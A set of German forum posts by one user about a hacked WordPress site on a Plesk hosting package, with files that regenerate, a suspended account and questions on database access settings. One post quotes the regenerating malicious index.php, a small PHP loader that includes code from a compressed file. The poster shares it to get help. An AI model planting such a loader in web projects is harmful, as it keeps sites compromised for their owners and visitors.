Beiträge von alex007

Webspace Paket wurde eben wieder entsperrt.. und das Problem besteht nicht mehr, echt komisch...

Zitat von Hille

Ich kann mir das gerne morgen mal anschauen. Bei Interesse einfach per PN anschreiben.

Danke für das Angebot. Leider wurde mein Account gestern von netcup gesperrt - jedoch nicht aufgrund des Hacks, sondern wegen angeblichem Spam-Versand.

Dabei handelt es sich jedoch nicht um Spam, sondern um automatisch generierte E-Mails von Plesk.

Diese wurden versendet, weil ein Cronjob noch aktiv war (den hatte ich aber schon 2 Tage nicht mehr aktiv gehabt), dessen Dateien ich zuvor im Zuge der Bereinigung vollständig gelöscht hatte. Da der Cronjob die Ziel-Datei nicht mehr finden konnte, hat Plesk entsprechende Fehlermeldungen per E-Mail verschickt.

habe ich schon gemacht, das Problem besteht weiterhin

wo kann man das schauen? Ich habe ja nur einen Webhosting-Paket.

Ich habe alles gelöscht, was ich über den File Manager entfernen konnte - sonst ist da von mir nichts drauf.

Die Datenbanken wurden ebenfalls vollständig gelöscht.

Alle Passwörter wurden selbstverständlich bereits geändert.

Video: https://www.imagenetz.de/ogLDz (FTP-Tool, über den Plesk File-Manager ist es genau so)

Alle Cronjobs sind deaktiviert. Das ergibt meiner Meinung nach keinen Sinn, da die Dateien sofort wieder vorhanden sind und nicht erst nach einer bestimmten Zeit.

Wenn ich die Rechte der Dateien ändere, werden diese unmittelbar wieder zurückgesetzt.

Hallo,

bei mir wurde leider eine WordPress-Seite gehackt.

WordPress selbst war auf dem aktuellen Stand, daher vermute ich die Ursache in einem veralteten Plugin.

Ich habe daraufhin alle Dateien gelöscht. Zwei Dateien lassen sich jedoch nicht entfernen. Wenn ich den Ordner httpdocs lösche und anschließend neu anlege, werden diese zwei Dateien automatisch wieder erstellt:

Screenshot 2026-01-08 161544.png

index.php:


<?php
//ヾ(●゜▽゜●)♡
$RF = 'compress.zlib://';


require_once $RF.'index.gz';?>



.htaccess:
# BEGIN LSCACHE
# END LSCACHE
# BEGIN NON_LSCACHE
# END NON_LSCACHE
# This file was updated by Duplicator on 2024-04-04 12:46:04.
# See the original_files_ folder for the original source_site_htaccess file.
# BEGIN WordPress
# Die Anweisungen (Zeilen) zwischen „BEGIN WordPress“ und „END WordPress“ sind
# dynamisch generiert und sollten nur über WordPress-Filter geändert werden.
# Alle Änderungen an den Anweisungen zwischen diesen Markierungen werden überschrieben.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>


# END WordPress

Egal, was ich versuche, die beiden Dateien sind sofort wieder vorhanden.

Der netcup-Support reagiert bisher leider kaum bzw. sehr langsam. Dadurch ist meine Website nun bereits seit über zwei Tagen offline.

Was kann ich am besten machen?

Hallo,

wenn ich bei Plesk eine neue Datenbank erstellen möchte, ist per default folgendes ausgewählt bei Zugriffssteuerung: "Remoteverbindungen von beliebigem Host zulassen" Ist das sinnvoll oder sollte man lieber auf "Remoteverbindungen zulassen von" umstellen? Wenn ja, was muss man da dann eintragen?

Hallo,

das CCP-Passwort ist nicht dasselbe wie das Passwort für Plesk oder den Standard-FTP-Benutzer, oder? (Zumindesten komme ich damit nicht in Plesk rein (nur halt über den CCP-Link)

Ich habe keine Zugangsdaten für Plesk bzw. den FTP-Standardbenutzer erhalten. Bedeutet das, dass kein Passwort gesetzt ist und man sich keine Sorgen machen muss, dass ein einfaches Standardpasswort hinterlegt ist?